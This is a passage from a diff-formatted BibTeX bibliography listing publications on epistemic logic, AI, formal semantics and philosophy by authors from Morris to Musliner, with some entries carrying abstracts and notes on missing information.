{Yoav Shoham}, + pages = {299--300}, + address = {San Francisco}, + topic = {mutual-belief;rational-action;} + } + +@article{ morris_s-shin:1997a, + author = {Stephen Morris and Hyun Song Shin}, + title = {Approximate Common Knowledge and Co-ordination: Recent + Lessons from Game Theory}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {2}, + pages = {171--190}, + topic = {mutual-belief;agreement;} + } + +@inproceedings{ morris_s:1998a, + author = {Stephen Morris}, + title = {Interaction Games: A Unified Analysis of Incomplete + Information and Local Interaction}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {273--277}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;game-theory;} + } + +@article{ morscher:1974a, + author = {Edgar Morscher}, + title = {Ontology as a Normative Science}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {285--289}, + topic = {philosophical-ontology;} + } + +@article{ mortensen_c-nehrlich:1978a, + author = {Chris Mortensen and Graham Nehrlich}, + title = {Physical Topology}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {2}, + pages = {209--223}, + topic = {spatial-representation;} + } + +@book{ mortensen_c:1995a, + author = {Chris Mortensen}, + title = {Inconsistent Mathematics}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + topic = {relevance-logic;paraconsistent-mathematics; + formalizations-of-arithmetic;} + } + +@article{ mortensen_c:1997a, + author = {Chris Mortensen}, + title = {The {L}eibniz Continuity Condition, Inconsistency, + and Quantum Dynamics}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {4}, + pages = {377--389}, + topic = {formalizations-of-physics;foundations-of-quantum-mechanics;} + } + +@book{ mortensen_cd:1996a, + author = {C. David Mortensen}, + title = {Miscommunication}, + publisher = {Sage Publications}, + year = {1996}, + address = {Thousand Oaks, California}, + topic = {discourse;miscommunication;pragmatics;} + } + +@incollection{ morton:1995a, + author = {Adam Morton}, + title = {Game Theory and Knowledge by Simulation}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {235--246}, + address = {Oxford}, + topic = {game-theory;mental-simulation; + propositional-attitude-ascription;} + } + +@article{ morton_a:1993a, + author = {Adam Morton}, + title = {Review of {\it Laws and Symmetry}, by + {B}as {C}. {van Fraassen}}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {3}, + pages = {408--410}, + xref = {Review of vanfraassen:1989a.}, + topic = {natural-laws;philosophy-of-science;} + } + +@techreport{ moschovakis:1986a, + author = {Yiannis N. Moschovakis}, + title = {Foundations of the Theory of Algorithms {I}}, + institution = {Mathematics Department, UCLA}, + year = {1986}, + address = {Los Angeles, California 90024}, + missinginfo = {number}, + topic = {abstract-recursion-theory;} + } + +@unpublished{ moschovakis:1988a, + author = {Yiannis N. Moschovakis}, + title = {A Game-Theoretic Modelling of Concurrency}, + year = {1988}, + note = {Unpublished manuscript, Mathematics Department, University of + California at Los Angeles}, + topic = {concurrency;game-theory;} + } + +@book{ moschovakis:1992a, + editor = {Yiannis N. Moschovakis}, + title = {Logic From Computer Science: Proceedings of A Workshop + Held {N}ovember 13--17, 1989}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {New York}, + ISBN = {0387976671 (alk. paper)}, + topic = {logic-and-computer-science;} + } + +@article{ moser:1990a, + author = {Paul K. Moser}, + title = {A Dilemma for Sentential Dualism}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {6}, + pages = {687--698}, + topic = {propositioal-attitudes;philosophy-of-language;} + } + +@article{ moser_le:1989a, + author = {Louise E. Moser}, + title = {A Nonmonotonic Logic of Belief}, + journal = {Fundamenta Informaticae}, + year = {1989}, + volume = {12}, + number = {3}, + pages = {507--524}, + topic = {epistemic-logic;nonmonotonic-logic;} +} + +@unpublished{ moser_m-moore_jd:1995a, + author = {Megan Moser and Johanna Moore}, + title = {Toward a Synthesis of Two Accounts of Discourse Structure}, + year = {1995}, + note = {Unpublished MS, LRDC, University of Pittsburgh. Forthcoming, + Computational Linguistics.}, + missinginfo = {Year is a guess.}, + topic = {discourse-structure;pragmatics;} + } + +@article{ moser_m-moore_jd:1996a, + author = {Megan Moser and Johanna D. Moore}, + title = {Toward a Synthesis of Two Accounts of Discourse Structure}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {3}, + pages = {409--419}, + topic = {discourse-structure;pragmatics;} +} + +@article{ moses_m-forrest:2001a, + author = {Melanie Moses and Stephanie Forrest}, + title = {Review of {\it The Computational Beauty of Nature} by + {G}ary {W}illiam {F}lake}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {128}, + number = {1--2}, + pages = {239--242}, + xref = {Review of: flake:1998a.}, + topic = {fractals;chaos-theory;computational-aesthetics;} + } + +@techreport{ moses_y-etal:1985a, + author = {Yoram Moses}, + title = {Cheating Husbands and Other Stories: A Case Study of + Knowledge Communication, and Action}, + institution = {{IBM} Research Laboratory, San Jose}, + number = {RJ 4756}, + year = {1985}, + address = {San Jose, California}, + topic = {epistemic-logic;communication-protocols;} + } + +@article{ moses_y-etal:1986a, + author = {Yoram Moses and D. Dolev and J. Halpern}, + title = {Cheating Husbands and Other Stories: A Case Study of + Knowledge, Action, and Communication}, + journal = {Distributed Computing}, + year = {1986}, + volume = {1}, + number = {3}, + pages = {167--176}, + missinginfo = {A's 1st name}, + topic = {epistemic-logic;communication-protocols;} + } + +@inproceedings{ moses_y:1988a, + author = {Yoram Moses}, + title = {Resource-Bounded Knowledge}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Second Conference on Theoretical Aspects of + Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {261--276}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {hyperintensionality;resource-limited-reasoning;epistemic-logic;} + } + +@article{ moses_y-tuttle:1988a, + author = {Yoram Moses and M.R. Tuttle}, + title = {Programming Simultaneous Actions Using Common Knowledge}, + journal = {Algorithmica}, + year = {1988}, + volume = {3}, + pages = {121--169}, + missinginfo = {A's 1st name, number}, + topic = {mutual-belief;knowledge-based-programming;synchronization;} + } + +@inproceedings{ moses_y-roth:1989a, + author = {Yoram Moses and G. Roth}, + title = {On Reliable Message Diffusion}, + booktitle = {Proceedings of the Eighth {ACM} Symposium on + Principles of Distributed Computing}, + year = {1989}, + pages = {119--128}, + missinginfo = {editor, publisher, A's 1st name}, + topic = {communication-protocols;} + } + +@inproceedings{ moses_y-nachum:1990a, + author = {Yoram Moses and G. Nachum}, + title = {Agreeing to Disagree After All}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {151--168}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {agreeing-to-disagree;mutual-agreement;} + } + +@incollection{ moses_y:1992a, + author = {Yoram Moses}, + title = {Knowledge and Communication}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {1--14}, + address = {San Francisco}, + contentnote = {A useful survey paper.}, + topic = {epistemic-logic;communication-protocols;} + } + +@book{ moses_y:1992b, + editor = {Yoram Moses}, + title = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + year = {1992}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;} + } + +@inproceedings{ moses_y-kislev:1993a, + author = {Yoram Moses and O. Kislev}, + title = {Knowledge-Oriented Programming}, + booktitle = {Proceedings of the Twelfth {ACM} Symposium on + Principles of Distributed Computing}, + year = {1993}, + pages = {261--270}, + missinginfo = {editor, publisher, A's 1st name}, + topic = {knowledge-based-programming;agent-oriented-programming;} + } + +@article{ moses_y-shoham_y1:1993a, + author = {Yoram Moses and Yoav Shoham}, + title = {Belief as Defeasible Knowledge}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {2}, + pages = {299--321}, + acontentnote = {Abstract: + We investigate the relation between the notions of knowledge and + belief. Contrary to the well-known slogan about knowledge being + "justified, true belief", we propose that belief be viewed as + defeasible knowledge. We offer several related definitions of + belief as knowledge-relative-to-assumptions, and provide + complete axiomatic systems for the resulting notions of belief. + We also show a close tie between our definitions and the + literature on nonmonotonic reasoning. Our definitions of belief + have several advantages. First, they are short. Second, we do + not need to add anything to the logic of knowledge: the "right" + properties of belief fall out of our definitions and the + properties of knowledge. Third, the connection between + knowledge and belief is derived from one fundamental principle. + Finally, a major attraction of logics of knowledge in computer + science has been the concrete grounding of the mental notion in + objective phenomena; by reducing belief to knowledge we obtain + this grounding for a notion of belief. + } , + topic = {belief;knowledge;epistemic-logic;defeasible-knowledge; + nonmonotonic-reasoning;philosophy-of-belief;} + } + +@inproceedings{ moses_y-bloom:1994a, + author = {Yoram Moses and B. Bloom}, + title = {Knowledge, Timed Precedence and Clocks}, + booktitle = {Proceedings of the Thirteenth {ACM} Symposium on + Principles of Distributed Computing}, + year = {1994}, + pages = {167--176}, + missinginfo = {editor, publisher, A's 1st name}, + topic = {distributed-systems;epistemic-logic;synchronization;} + } + +@article{ moses_y-tennenholtz:1996a, + author = {Yoram Moses and Moshe Tennenholtz}, + title = {Off-Line Reasoning for On-Line Efficiency: Knowledge + Bases}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {2}, + pages = {229--239}, + acontentnote = {Abstract: + The complexity of reasoning is a fundamental issue in AI. In + many cases, the fact that an intelligent system needs to perform + reasoning on-line contributes to the difficulty of this + reasoning. This paper considers the case in which an + intelligent system computes whether a query is entailed by the + system's knowledge base. It investigates how an initial phase of + off-line preprocessing and design can improve the on-line + complexity considerably. The notion of an efficient basis for a + query language is presented, and it is shown that off-line + preprocessing can be very effective for query languages that + have an efficient basis. The usefulness of this notion is + illustrated by showing that a fairly expressive language has an + efficient basis. A dual notion of an efficient disjunctive + basis for a knowledge base is introduced, and it is shown that + off-line preprocessing is worthwhile for knowledge bases that + have an efficient disjunctive basis. } , + topic = {complexity-in-AI;} + } + +@article{ moshier-pollard:1994a, + author = {M. Andrew Moshier and Carl J. Pollard}, + title = {The Domain of Set-Valued Feature Structures}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {6}, + pages = {607--631}, + topic = {feature-structure-logic;} + } + +@article{ moshier:1995a, + author = {M. Andrew Moshier}, + title = {A Rational Reconstruction of the Domain of Feature + Structures}, + journal = {Journal of Logic, Language, and Information}, + year = {1995}, + volume = {4}, + number = {2}, + pages = {111--143}, + topic = {feature-structures;} + } + +@article{ moshier:1997a, + author = {M. Andrew Moshier}, + title = {Is {HPSG} Featureless or Unprincipled?}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {6}, + pages = {669--695}, + topic = {HPSG;} + } + +@incollection{ moshier:1998a, + author = {M. Andrew Moshier}, + title = {{HPSG} as a Type Theory}, + booktitle = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + pages = {119--139}, + address = {Stanford, California}, + topic = {HPSG;higher-order-logic;} + } + +@techreport{ moss_ls:1990a, + author = {Laurence S. Moss}, + title = {Completeness Theorems for Logics of Feature Structures}, + institution = {T.J. Watson research Center, {IBM}}, + number = {RC 15737 (\#69809)}, + year = {1991}, + address = {Yorktown Heights, NY}, + topic = {feature-structures;feature-structure-logic;} + } + +@incollection{ moss_ls-parikh_r:1992a, + author = {Lawrence S. Moss and Rohit Parikh}, + title = {Topological Reasoning and the Logic of Knowledge}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {95--105}, + address = {San Francisco}, + contentnote = {This is the paper that introduces subset spaces.}, + topic = {epistemic-logic;applied-logic;subset-spaces;} + } + +@article{ moss_ls-johnson:1995a, + author = {Lawrence S. Moss and David E. Johnson}, + title = {Dynamic Interpretations of Constraint-Based Logic + Formalisms}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {4}, + number = {1}, + pages = {62--79}, + topic = {dynamic-logic;foundations-of-syntax;constraint-based-grammar;} + } + +@incollection{ moss_ls-johnson:1995b, + author = {Lawrence S. Moss and David E. Johnson}, + title = {Evolving Algebras and Mathematical Models of Language}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {161--194}, + address = {Dordrecht}, + topic = {semantics-of-programming-languages;evolving-algebras; + grammar-formalisms;} + } + +@article{ moss_ls:2000a, + author = {Lawrence S. Moss}, + title = {Review of {\em Exploring Logical Dynamics}, + by {J}ohan van {B}enthem}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {2}, + pages = {261--263}, + xref = {Review of: vanbenthem:1996b.}, + topic = {dynamic-logic;dynamic-semantics;} + } + +@unpublished{ mosses:1987a, + author = {Peter D. Mosses}, + title = {Modularity in Action Semantics}, + year = {1987}, + note = {Unpublished manuscript, Computer Science Department, + Aaarhus University}, + topic = {semantics-of-programming-languages;dynamic-logic;} + } + +@article{ mosterman-biswas:2000a, + author = {Pieter J. Mosterman and Gautam Biswas}, + title = {A Comprehensive Methodology for Building Hybrid + Models of Physical Systems}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {121}, + number = {1--2}, + pages = {171--209}, + topic = {dynamic-systems;reasoning-about-continuous-quantities; + reasoning-about-physical-systems;} + } + +@article{ mostow:1989a, + author = {Jack Mostow}, + title = {Design by Derivational Analogy: Issues in the Automated + Replay of Design Plans}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {40}, + number = {1--2}, + pages = {119--184}, + topic = {computer-aided-design;analogy;case-based-reasoning;} + } + +@inproceedings{ mota:2000a, + author = {Edjard Mota}, + title = {Cyclical and Granular Time Theories as Subsets of + the {H}erbrand Universe}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {366--377}, + topic = {cyclical-events;temporal-reasoning;} + } + +@article{ motoda-yoshida:1998a, + author = {Hiroshi Motoda and Kenichi Yoshida}, + title = {Machine Learning Techniques to Make Computers Easier + to Use}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {295--321}, + topic = {machine-learning;HCI;} + } + +@incollection{ motschnigpitrik:1999a, + author = {Renate Motschnig-Pitrik}, + title = {Contexts and Views in Object-Oriented Languages}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {256--269}, + address = {Berlin}, + topic = {context;object-oriented-databases;database-views;} + } + +@article{ mott:1973a, + author = {P. Mott}, + title = {On {C}hisholm's Paradox}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {2}, + pages = {197--211}, + topic = {deontic-logic;} + } + +@article{ mott:1987a, + author = {Peter L. Mott}, + title = {A Theorem on the Consistency of Circumscription}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {1}, + pages = {87--98}, + topic = {circumscription;} + } + +@article{ moulines:1976a, + author = {C. Ulises Moulines}, + title = {Approximate Application of Empirical Theories: A General + Explication}, + journal = {Erkenntnis}, + year = {1976}, + volume = {10}, + pages = {201--227}, + missinginfo = {number}, + topic = {approximation;} + } + +@incollection{ mouloud:1984a, + author = {Noelk Mouloud}, + title = {Machines and Mind: The Functional Sphere + and Epistemological Circles}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {88--98}, + address = {Chichester}, + topic = {foundations-of-cogsci;philosophy-of-mind;} + } + +@book{ moulton:1975a, + author = {Janice M. Moulton}, + title = {Guidebook for Publishing Philosophy}, + publisher = {American Philosophical Association}, + year = {1975}, + address = {Newark, Delaware}, + topic = {guidance-for-academics;} + } + +@article{ mourelatos:1977a, + author = {Alexander Mourelatos}, + title = {Events, Processes, and States}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {2}, + number = {1}, + pages = {415--434}, + topic = {tense-aspect;aktionsarten;} + } + +@book{ moutafakis:1987a, + author = {Nicholas J. Moutafakis}, + title = {The Logics of Preference: A Study of Prohairetic Logics in + Twentieth Century Philosophy}, + publisher = {D. Reidel Publishing Co.}, + year = {1987}, + address = {Dordrecht}, + ISBN = {9027725918}, + topic = {deontic-logic;preferences;} + } + +@book{ moxley-sanford:1994a, + author = {Linda M. Moxley and Anthony J. Sanford}, + title = {Communicating Quantities}, + publisher = {Lawrence Erlbaum Associates}, + year = {1994}, + address = {Mahwah, New Jersey}, + topic = {nl-quantifiers;vagueness;psycholinguistics;} + } + +@book{ mozer:1991a, + author = {Michael C. Mozer}, + title = {The Perception of Multiple Objects: A Connectionist + Approach}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + ISBN = {0262132702 (hc)}, + xref = {Review: goddard:1993a.}, + topic = {connectionist-models;computer-vision;} + } + +@unpublished{ mozes-shoham_y1:1990a, + author = {Eyal Mozes and Yoav Shoham}, + title = {Protograms}, + year = {1999}, + note = {Unpublished manuscript, Department of Computer + Science, Stanford University}, + topic = {action;agent-oriented-programming;} + } + +@book{ muecke:1969a, + author = {Douglas C. Muecke}, + title = {The Compass of Irony}, + publisher = {Methuen}, + year = {1969}, + address = {London}, + title = {Irony}, + publisher = {Methuen}, + year = {1970}, + address = {London}, + topic = {irony;literary-=criticism;} + } + +@book{ muecke:1982a, + author = {Douglas C. Muecke}, + title = {Irony and the Ironic}, + publisher = {Methuen}, + year = {1982}, + address = {London}, + topic = {irony;literary-=criticism;} + } + +@book{ mufwene:1984a, + author = {Salikoko S. Mufwene}, + title = {Stativity and the Progressive}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {Aktionsarten;progressive;} + } + +@inproceedings{ muggleton:1999a, + author = {Stephen H. Muggleton}, + title = {Progol}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {theorem-proving;logic-programming;} + } + +@article{ muggleton:1999b, + author = {Stephen H. Muggleton}, + title = {Inductive Logic Programming: Issues, Results, and the + Challenge of Learning Language in Logic}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {283--296}, + topic = {inductive-logic-programming;machine-language-learning;} + } + +@inproceedings{ muggleton-marginean:1999a, + author = {Stephen H. Muggleton and F.A. Marginean}, + title = {Binary Refinement}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {theorem-proving;AI-algorithms-analysis;} + } + +@incollection{ muggleton-marginean:2000a, + author = {Steven H. Muggleton and Flaviu A. Marginean}, + title = {Logic-Based Machine Learning}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {315--330}, + address = {Dordrecht}, + topic = {logic-in-AI;inductive-logic-programming; + scientific-discovery;computer-assisted-biology;} + } + +@unpublished{ mukai:1986a, + author = {Kuniaki Mukai}, + title = {Anadic Tuples in {P}rolog}, + year = {1986}, + note = {Unpublished manuscript, Institute for New Generation + Computer Technology, Tokyo.}, + topic = {logic-programming;} + } + +@unpublished{ mukai:1986b, + author = {Kuniaki Mukai}, + title = {A System of Logic Programming for Linguistic Analysis + Based on Situation Semantics}, + year = {1986}, + note = {Unpublished manuscript, Institute for New Generation + Computer Technology, Tokyo.}, + missinginfo = {Date is a guess.}, + topic = {logic-programming;situation-semantics;} + } + +@article{ mullen:1979a, + author = {J.D. Mullen}, + title = {Does the Logic of Preference Rest on a Mistake?}, + journal = {Metaphilosophy}, + year = {1979}, + volume = {10}, + pages = {247--255}, + missinginfo = {A's 1st name}, + topic = {preferences;} + } + +@incollection{ mullen-osborne:2000a, + author = {Tony Mullen and Miles Osborne}, + title = {Overfitting Avoidance for + Stochastic Modeling of Attribute-Value Grammars}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {49--54}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;statistical-nlp; + probabilistic-parsers;} + } + +@incollection{ muller:1998a, + author = {Philippe Muller}, + title = {A Qualitative Theory of Motion Based on Spatio-Temporal + Primitives}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {131--141}, + address = {San Francisco, California}, + topic = {kr;qualitative-physics;spatial-representation;kr-course;} + } + +@article{ muller_m:2001a, + author = {Martin M\"uller}, + title = {Partial Order Bounding: A New Approach to Evaluation in + Game Tree Search}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {279--311}, + topic = {game-trees;search;} + } + +@article{ muller_m:2002a, + author = {Martin M\"uller}, + title = {Computer Go}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {145--179}, + topic = {computer-games;search;game-trees;} + } + +@book{ mumford:1998a, + author = {Stephen Mumford}, + title = {Dispositions}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + ISBN = {0198236115 (alk. paper)}, + xref = {Review: } , + topic = {dispositions;} + } + +@article{ mundici:2000a, + author = {Danielle Mundici}, + title = {Foreward: Logics of Uncertainty}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {1}, + pages = {1--3}, + topic = {reasoning-about-uncertainty;} + } + +@article{ mundy:1989a, + author = {Brent Mundy}, + title = {Elementary Categorial Logic, Predicates of Variable + Degree, and Theory of Quantity}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {2}, + pages = {115--140}, + contentnote = {The polymorphism involved here is that of predicates + of variable degree.}, + topic = {polymorphism;formalizations-of-physics;} + } + +@article{ munsat:1986a, + author = {Stanley Munsat}, + title = {Wh-Complementizers}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {2}, + pages = {191--217}, + topic = {nl-syntax;interrogatives;} + } + +@incollection{ mura:1983a, + author = {{Susan Swan} Mura}, + title = {Licensing Violations: Legitimate Violations of {G}rice's + Conversational Principle}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {101--115}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;cooperative-principle; + pragmatics;} + } + +@article{ murphy:2000a, + author = {Robin Murphy}, + title = {Using Robot Competitions to Promote Educational + Development}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {1}, + pages = {77--90}, + topic = {robotics;AI-education;} + } + +@book{ murray_j-lin_yl:1995a, + author = {John Murray and Yili Liu}, + title = {The Colloquium: An Ontological Charcterization of + Distributed Human-Machine System Supervision}, + publisher = {College of Engineering, University of Michigan}, + year = {1995}, + address = {Ann Arbor}, + ISBN = {080581549X (paper)}, + topic = {HCI;} + } + +@inproceedings{ murray_ks:1996a, + author = {Kenneth S. Murray}, + title = {{KI}: A Tool for Knowledge Integration}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {835--842}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {machine-learning;knowledge-integration;} + } + +@article{ murray_nv:1982a, + author = {Neil V. Murray}, + title = {Completely Non-Clausal Theorem Proving}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {1}, + pages = {67--85}, + topic = {theorem-proving;} + } + +@article{ musan:1997a, + author = {Renate Musan}, + title = {Tense, Predicates, and Lifetime Effects}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {5}, + number = {3}, + pages = {271--301}, + topic = {nl-tense;} + } + +@article{ musan:1999a, + author = {Renate Musan}, + title = {Temporal Interpretation and Information-Status of + Noun Phrases}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {6}, + pages = {621--661}, + topic = {nl-semantics;nl-tense;noun-phrase-semantics;} + } + +@incollection{ muscettola-etal:1998a, + author = {Nicola Muscettola and Paul Morris and + Ioannis Tsamardinos}, + title = {Reformulating Temporal Plans for Efficient Reasoning}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {444--452}, + address = {San Francisco, California}, + topic = {kr;planning;action-formalisms;plan-execution;kr-course;} + } + +@article{ muscettola-etal:1998b, + author = {Nicola Muscettola and P. Pandurang Nayak and + Barney Pell and Brian C. Williams}, + title = {Remote Agent: to Go Boldly Where No {AI} System Has + Gone Before}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {5--47}, + topic = {autonomous-agents;} + } + +@incollection{ mushim-etal:2000a, + author = {Ilana Mushim and Lesley Stirling and Janet Fletcher and + Roger Wales}, + title = {Identifying Prosodic Indicators of + Dialogue Structure: Some Methodological and + Theoretical Considerations}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {36--45}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;prosody;discourse-structure;} + } + +@unpublished{ muskens:1980a, + author = {Reinhard Muskens}, + title = {The Partial Theory of Types}, + year = {1980}, + note = {(Handout).}, + topic = {partial-logic;higher-order-logic;} + } + +@techreport{ muskens:1986a, + author = {Reinhard Muskens}, + title = {A Relational Formulation of the Theory of Types}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {86--04}, + year = {1986}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {higher-order-logic;} + } + +@techreport{ muskens:1988a, + author = {Reinhard Muskens}, + title = {Going Partial in {M}ontague Grammar}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--88--04}, + year = {1986}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {truth-value-gaps;partial-logic;higher-order-logic; + Montague-grammar;} + } + +@phdthesis{ muskens:1989a, + author = {Reinhard Muskens}, + title = {Meaning and Partiality}, + school = {University of Amsterdam}, + year = {1989}, + type = {Ph.{D}. Dissertation}, + address = {Amsterdam}, + topic = {partial-logic;nl-semantics;} + } + +@article{ muskens:1989b, + author = {Reinhard Muskens}, + title = {A Relational Formulation of the Theory of Types}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {3}, + pages = {325--346}, + topic = {intensional-logic;higher-order-logic;} + } + +@article{ muskens:1996a, + author = {Reinhard Muskens}, + title = {Combining {M}ontague Semantics and Discourse + Representation}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {2}, + pages = {143--186}, + topic = {Montague-grammar;discourse-representation-theory;pragmatics;} + } + +@book{ muskens:1996b, + author = {Reinhard Muskens}, + title = {Meaning and Partiality}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + xref = {Revision of muskens:1989a.}, + topic = {partial-logic;nl-semantics;} + } + +@article{ muskens:2001a, + author = {Reinhard Muskens}, + title = {Talking about Trees and Truth-Conditions}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {4}, + pages = {417--455}, + topic = {grammar-formalisms;underspecification-theory;} + } + +@article{ musliner-etal:1995a, + author = {David J. Musliner and Edmund H. Durfee and Kang G. Shin}, + title = {World Modeling for the Dynamic Construction of Real-Time + Control Plans}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {1}, + pages = {83--127}, + acontentnote = {Abstract: + As intelligent, autonomous systems are embedded in critical + real-world environments, it becomes increasingly important to + rigorously characterize how these systems will perform. Research + in real-time computing and control has developed ways of proving + that a given control system will meet the demands of an + environment, but has not addressed the dynamic planning of + control actions. Building an agent that can flexibly achieve + its goals in changing environments requires a blending of + real-time computing and AI technologies. The Cooperative 